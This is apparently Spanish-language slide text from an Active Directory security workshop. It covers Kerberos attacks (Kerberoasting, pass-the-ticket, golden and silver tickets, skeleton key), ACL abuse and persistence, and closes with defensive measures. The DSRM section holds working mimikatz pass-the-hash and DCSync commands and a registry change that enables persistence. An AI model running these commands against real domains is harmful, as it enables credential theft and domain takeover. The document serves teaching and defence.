– Silver Ticket (kerberos)
– Golden Ticket
– Skeleton Key (LSA injection via mimikatz)
¿Que es Kerberos?

• Protocolo de Autenticación - Usa Tickets


• Basado en claves simétricas (Long term keys)
• Cada parte interviniente tiene su clave simétrica
• Componentes
– Key Distribution Center (KDC)
• Base de “long term keys” de todas las partes y genera Tickets
– Authentication Service (AS)
• Genera Ticket Granting Tickets (TGT)
– Ticket Granting Service (TGS)
• Genera Tickets de sesión.
Kerberos: Inicio interactivo
KDC=Key Distribution Center
pepe cc36cf7a8514893e AS= Authentication Service
1234/ fccd332446158b1a TGS= Ticket Granting Service
20140807054500Z
Administrator timestamp
rc4_hmac_nt
(NTLM/md4)

(KDC)
Authenticator
(AS)
1. Envía Autenticación Service Request (KRB_AS_REQ)
Kerberos.dll
TGT
TGT
2. Recibe la respuesta (KRB_AS_REP)del AS (TGT)

3. Envia el TGT y solicita un ticket de sesión para el


equipo local (KRB_TGS_REQ)

4. El TGS Crea un ticket de sesion para el equipo y lo (TGS)


ST devuelve
ST

5. Autentica en el equipo utilizando el ST otorgado


Kerberos: Inicio de red

1. Envía Autenticación Service Request (KRB_AS_REQ) (KDC)


(AS)
Kerberos.dll
TGT
TGT
2. Recibe la respuesta (KRB_AS_REP)del AS (TGT)

3. Envia el TGT y solicita un ticket de servicio para el


recurso a acceder (KRB_TGS_REQ)
(TGS)
4. El TGS Crea un ticket de servicio para el recurso a
acceder y lo devuelve
ST
ST

5. Presenta el ST otorgado al recurso a acceder


ST
6. Verifica el ST presentado y permite el acceso
Estructura del TGT
RID : 000001f6 (502)
User : krbtgt
* Primary KDC
LM :
NTLM : 310b643c5316c8c3c70a10cfb17e2e31
* Kerberos-Newer-Keys
Default Salt : ad.LOCALkrbtgt
Authorization data Microsoft (PAC)
Default Iterations : 4096
Credentials TGT Username : Administrator
aes256_hmac (4096) : 15540cac73e94028231ef86631bc47bd Domain SID
Start/End/MaxRenew: 14/07/2014 00:46:09 ; 14/07/2014 10:46:09 ;
5c827847ade468d6f6f739eb00c68e42 S-1-5-21-130452501-2365100805-3685010670
aes128_hmac 21/07/2014
(4096) :00:46:09
da3128afc899a298b72d365bd753dbfb User ID
des_cbc_md5 Service Name
(4096) (02) : krbtgt ;AD.LOCAL ; @ AD.LOCAL
: 620eb39e450e6776 500 Administrator
Target Name (02) : krbtgt ; ad ; @ AD.LOCAL Groups ID
Client Name (01) : Administrator ; @ AD.LOCAL ( AD ) 512 Domain Admins
Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; 519 Enterprise Administrators
renewable ; forwardable ; 518 Schema Admins
Session Key : 0x00000012 - aes256_hmac …
F3bf2e0e26903703bec6259b400a586f403bbfe3771cb7972be3c0868cb9cc69
Authorization data Microsoft (PAC)
CHECKSUM_SRV – HMAC_MD5 - krbtgt
310b643c5316c8c3c70a10cfb17e2e3
Username:Administrator Domain SID S-1-5-21-130452501-2365100805-3685010670

CHECKSUM_SRV – HMAC_MD5 – krbtgt 310b643c5316c8c3c70a10cfb17e2e3 CHECKSUM_KDC – HMAC_MD5 - krbtgt


310b643c5316c8c3c70a10cfb17e2e3
CHECKSUM_KDC – HMAC_MD5 – krbtgt 310b643c5316c8c3c70a10cfb17e2e3

RC4-HMAC – krbtgt
310b643c5316c8c3c70a10cfb17e2e31

• El TGT se cifra con una clave compartida entre todos los KDC
– La clave RC4 de la cuenta krbtgt : 310b643c5316c8c3c70a10cfb17e2e31
• El KDC agrega informacion especifica del usuario en una estructura
llamada PAC
• El PAC se “firma” con la clave del objetivo (krbtgt) y del KDC (krbtgt)
Kerberoasting
LSASS (kerberos)
Para el dominio « ad.local » KDC

TGT ③ TGS-REQ

TGS
④ TGS-REP

Cracking
TGS
TGS
RC4

⑤ Uso

Kerberoast
Silver ticket
Clave servicio TGS TGS forjado impersonando a otro
Cleartext usuario en el servicio
usable
AS-REP Roasting
• El ataque es muy similar
a kerberoasting, pero
para cuentas normales
• Aplica a cuentas con el
flag “Do not require
Kerberos pre-
authentication”.
HANDS ON
Kerberos: keys de usuario

KDC
LSASS (kerberos)
Para el dominio « ad.local »

des_cbc_md5 f8fd987fa7153185 KDC

TGT ③ TGS-REQ
rc4_hmac_nt cc36cf7a8514893e
(NTLM/md4) fccd332446158b1a
pepe
1234/ 8451bb37aa6d7ce3 ④ TGS-REP
aes128_hmac d2a5c2d24d317af3 TGS

Administrator b726836138609031
4acce8d9367e55f5
aes256_hmac 5865e7ef8e670fbe ⑤ Uso
4262d6c94098a9e9

WINFS01
Overpass the Hash (OPtH)
KD
LSASS (kerberos) C

Para el dominio « ad.local »

Pass-the-Key des_cbc_md
KD
5 C
TGT ③ TGS-REQ
rc4_hmac_nt cc36cf7a8514893e
(NTLM/md4) fccd332446158b1a

cc36cf7a8514893e
fccd332446158b1a
aes128_hma
TGS
④ TGS-REP
c

aes256_hma
c ⑤ Uso

**Abusing Microsoft Kerberos sorry you guys don’t get it


Alva `Skip` DUCKWALL & Benjamin DELPY
Overpass the Hash (OPtH)
KD
LSASS (kerberos) C

Para el dominio « ad.local »

des_cbc_md
KD
5
Pass-the-Key TGT ③ TGS-REQ
C

rc4_hmac_nt
(NTLM/md4)

aes128_hma
TGS
④ TGS-REP
c
b726836138609031 b726836138609031
4acce8d9367e55f5
aes256_hma 4acce8d9367e55f5
5865e7ef8e670fbe
4262d6c94098a9e9 c 5865e7ef8e670fbe ⑤ Uso
4262d6c94098a9e9

**Abusing Microsoft Kerberos sorry you guys don’t get it


Alva `Skip` DUCKWALL & Benjamin DELPY
Pass the Ticket (PtT)
KD
LSASS (kerberos) C

Para el dominio « ad.local »

des_cbc_md
KD
5 C
TGT ③ TGS-REQ
rc4_hmac_nt
(NTLM/md4)

aes128_hma
TGS
④ TGS-REP
c

TGT aes256_hma
c ⑤ Uso

**Abusing Microsoft Kerberos sorry you guys don’t get it


Alva `Skip` DUCKWALL & Benjamin DELPY
Pass the Ticket (PtT)
KD
LSASS (kerberos) C

Para el dominio « ad.local »

des_cbc_md
También para 5 KD
C
los servicios ③ TGS-REQ
rc4_hmac_nt
(NTLM/md4)

aes128_hma
TGS
④ TGS-REP
c

TGS aes256_hma
c ⑤ Uso

**Abusing Microsoft Kerberos sorry you guys don’t get it


Alva `Skip` DUCKWALL & Benjamin DELPY
Kerberos: Unconstrained delegation

1. Envía Autenticación Service Request (KRB_AS_REQ) (KDC)


(AS)
Kerberos.dll
TGT
TGT
2. Recibe la respuesta (KRB_AS_REP)del AS (TGT)

3. Envia el TGT y solicita un ticket de servicio para el


recurso a acceder (KRB_TGS_REQ)
(TGS) STA
STA
4. El TGS Crea un ticket de servicio para el recurso a STB
acceder y lo devuelve 6. Presenta el TGT y solicita
un ST para el servicio B
7. TGS genera ticket de servicio
para el recurso B
5. Presenta el ST otorgado al
recurso a acceder y delega su TGT
STB 8. Recurso A accede al recurso B en
TGT nombre del usuario original
Kerberos: Unconstrained delegation
Kerberos: Unconstrained delegation
Printer bug
• Permite forzar a una máquina a que se
autentique contra otra maquina en el forest.
• Utiliza el protocolo MS-RPRN (server RPC
disponible para todos los domain users)
• Es funcionalidad “by-design” por lo que no va
a ser patcheada.
• Si el equipo que origina la petición tiene
unconstrained delegation se ownear el
dominio
HANDS ON
Golden tickets
TGT Authorization data Microsoft (PAC)
Start/End/MaxRenew: 14/10/2016 00:46:09 ; 14/10/2026 10:46:09 ; Username : Administrator
14/10/2026 00:46:09 Domain SID
Service Name (02) : krbtgt ;AD.LOCAL ; @ AD.LOCAL S-1-5-21-130452501-2365100805-
Target Name (02) : krbtgt ; AD ; @ ad.LOCAL 3685010670
Client Name (01) : Administrateur ; @ AD.LOCAL ( AD ) User ID
Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; 500 Administrator
renewable ; forwardable ; Groups ID
Session Key : 0x00000012 - aes256_hmac 512 Domain Admins
F3bf2e0e26903703bec6259b400a586f403bbfe3771cb7972be3c0868cb9cc69 519 Enterprise Administrators
Authorization data Microsoft (PAC)
Username:Administrator Domain SID S-1-5-21-130452501-2365100805-3685010670
518 Schema Admins

CHECKSUM_SRV – HMAC_MD5 – krbtgt 310b643c5316c8c3c70a10cfb17e2e3 CHECKSUM_SRV – HMAC_MD5 - krbtgt
CHECKSUM_KDC – HMAC_MD5 – krbtgt 310b643c5316c8c3c70a10cfb17e2e3 310b643c5316c8c3c70a10cfb17e2e3
RC4-HMAC – krbtgt CHECKSUM_KDC – HMAC_MD5 - krbtgt
310b643c5316c8c3c70a10cfb17e2e31 310b643c5316c8c3c70a10cfb17e2e3

• Se puede crear TGTs a gusto abusando del hash de la cuenta krbtgt


• Los atributos interesantes a modificar son:
– Lifetime
– Microsoft PAC :
• Groups (Domain/Enterprise Admins)
• SID (puede no existir :-P )
• Username (puede no existir :-P )
Silver tickets

• Idem golden ticket pero alcance limitado 1


equipo/servicio (TGS en lugar de TGT)
• Requiere hash/clave de la cuenta:
– De servicio (servicios kerberizados)
– De equipo (ej: file servers)
• No requiere tener TGT = cero contacto con el
KDC
• Puede obtenerse la key via kerberoasting
Skeleton Key
Domain controller

LSASS (kerberos)
Para el dominio « ad.local »

Administrator: Administrator_hash+ Hash_Conocido

User1:User1_hash + Hash_Conocido

User2:User2_hash + Hash_Conocido

.
.
.
Hash_Conocido
UserN:UserN_hash+ Hash_Conocido
HANDS ON
Active Directory Cyber Kill Chain
ACLs de Active Directory
Administradores sin querer

• Grupos anidados
• Las delegaciones pueden dar privilegios de mas
• Los ACLs sobre objetos de AD pueden estar
dando privilegios de mas
Objetos sensitivos de AD

• Ejemplos de objetos sensitivos (tier-0)


ACLs de Active Directory

• GenericAll
– Control total sobre el objeto (incluye WriteDacl y
WriteOwnerprivileges) Tambien los extended rights.
• GenericWrite
– Combina RIGHT_READ_CONTROL (permite leer la
DACL), RIGHT_DS_WRITE_PROPERTY y
RIGHT_DS_WRITE_PROPERTY_EXTENDED aplicado a
todas las propiedades
ACLs de Active Directory

• WriteProperty
– Si el ObjectType no contiene un GUID significa que el
principal tiene el derecho de modificar todas las
propiedades. En la práctica es equivalente a
GenericWrite (mayoría de los casos)
ACLs de Active Directory

• ACLs que permiten modificar permisos


• WriteDacl (RIGHT_WRITE_DA)
– Permite al principal modificar el DACL del objeto
afectado, es decir definirle los permisos que quiera.
• WriteOwner (RIGHT_WRITE_OWNER)
– Permite al principal modificar el propietario del objeto
como si mismo. Como el propietario posee el permisos
GenericAll sobre el objeto, el principal gana acceso
completo al objeto modificando el propietario.
ACLs de Active Directory

• ACLs sobre objetos especificos


– User-Force-Change-Password (objeto user)
• Permite resetear la contraseña al usuario.

– WriteProperty member (objeto group)


• Permite agregar miembros a un grupo
ACLs de Active Directory

• ACLs el objeto dominio, DomainDNS,


Configuration, y Schema:
– Replicating Directory Changes (DS-Replication-Get-
Changes)
– Replicating Directory Changes All (DS-Replication-Get-
Changes-All)
• En conjunción permiten que el principal con estos DACLs
pueda usar el protocolo de replicación para obtener los
hashes de cualquier usuario / equipo (entre otros datos)
• Se explota con mimikatz (lsadump::dcsync)
ACLs de Active Directory

• Verificar los ACLs en las Ous, contenedores y


sitios quienes tienen permisos:

– Write gPLink
ACLs de Active directory

Tool interesante: ADACLScanner -


https://github.com/canix1/ADACLScanner
Persistencia AD
Active Directory Cyber Kill Chain
SID History

• Atributo que soporta escenarios de migración


• Los principals tienen SIDs que determinan sus
derechos y accesos
• Permite configurar multiples SIDs a una
cuenta
• Funciona con SIDs en el mismo dominio y a
traves del forest
SPN Dropping

• Consiste en dos posibles escenarios:


1. Dejar SPNs configurados en cuentas
administrativas
2. Delegar la modificación del atributo
ServicePrincipalNames sobre cuentas con
privilegios y ejecutar el escenario 1
– Con SPNs existentes realizar un ataque
kerberoasting sobre las cuentas
GPOs persistence

• Consiste en mantener control sobre GPOs aplicadas


a los Domain controllers. Abre muchas posibilidades:
– Modificación membresías de grupos
– Ejecucion de tareas programadas en los DC
– Ejecutar un DCSync programado del hash de
KRBTGT
– Instalar malware
– Descargar todas las contraseñas de LAPS
(DSRM) account persistence

• Directory Services Restore Mode es una consola de


recuperación de emergencia para el servicio de
directorio.
• Existe una cuenta y contraseña específicos para su
uso (por defecto “Administrator”), la contraseña no
se sincroniza (debe cambiarse manualmente).
• Contar con el hash de la cuenta de DSRM equivale a
tener una contraseña alternativa para el usuario
“administrator”
Mimikatz “token::elevate” “lsadump::sam” exit
(DSRM) account persistence

• Para usarla cuenta se debe configurar la clave


• HKLM\System\CurrentControlSet\Control\Lsa\
DsrmAdminLogonBehavior con el valor 2
• Configuración de persistencia
New-ItemProperty “HKLM:\System\CurrentControlSet\Control\Lsa\” -Name
“DsrmAdminLogonBehavior” -Value 2 -PropertyType DWORD

• Explotación de persistencia
Mimikatz “privilege::debug” “sekurlsa::pth /domain:NOMBRE_DC /user:Administrator
/ntlm:7c08d63a2f48f045971bc2236ed3f3ac” exit

Mimikatz “lsadump::dcsync /domain:lab.adsecurity.org /dc:adsdc03 /user:krbtgt


Defensa
Estrategia defensiva
Ataque Defensa Técnica defensiva
Prevención de ejecución y whitelisting (EMET/APPLocker)
Limitación de privilegios sensibles
Prevenir escalamiento Anti malware Scan Interface (AMSI)
Powershell constrained mode (V5 o superior).
Tier model / ESAE Forest

Robo y abuso de LAPS (Local Admin Password Solution)


Prevenir movimiento Separación de cuentas / Separación de estaciones de administración (PAWS)
credenciales Bloqueo de uso remoto de cuentas locales y cuentas entre tiers (via derechos de acceso)
lateral Restricted Admin mode for RDP
Authentication Policies and Authentication Policy Silos

Incrementar la visibilidad Auditing y Monitoreo avanzado de eventos


del uso de privilegios
Aplicar planitllas de seguridad
Ataques a los Segurización de los DC Parcheo rápido del SO y todo otro producto instalado
Eliminar privilegios administrativos excesivos , Etc.
Domain
controllers Reducir la superficie de Reducir la cantidad de agentes instalados
ataque de los DC Eliminar o reducir dependencias de seguridad

Asignar Mínimo privilegio Verificar User right Synchronize directory service data
Ataques a Active Verificar ACLs de objetos sensibles:
Full Control / Write / Modify Permissions / Write Members / Change Password
Directory Verificar ACLs gplink
Control de acceso Verificar ACLs que permiten Replicating Directory Changes

Ocultamiento del Monitoreo avanzado de eventos (Advanced Threat Analitics/SIEM)


Detección de ataques
atacante Powershell logging (V5+)
Seguridad AD (versión corta)

• Adoptar el mínimo privilegio.


• Proteger las identidades privilegiadas.
• Defender el directorio.
• Defender los domain controllers.
• Análisis de las dependencias de seguridad.
• Monitoreo.
Seguridad AD (versión corta)
• En la práctica:
– Segurización de Domain controllers.
– Reorganización de la administración de AD y
servicios críticos.
– Complementar con controles específicos para
PtH.
– Implementar registro y monitoreo de logs de
Active Directory.
Preguntas

También podría gustarte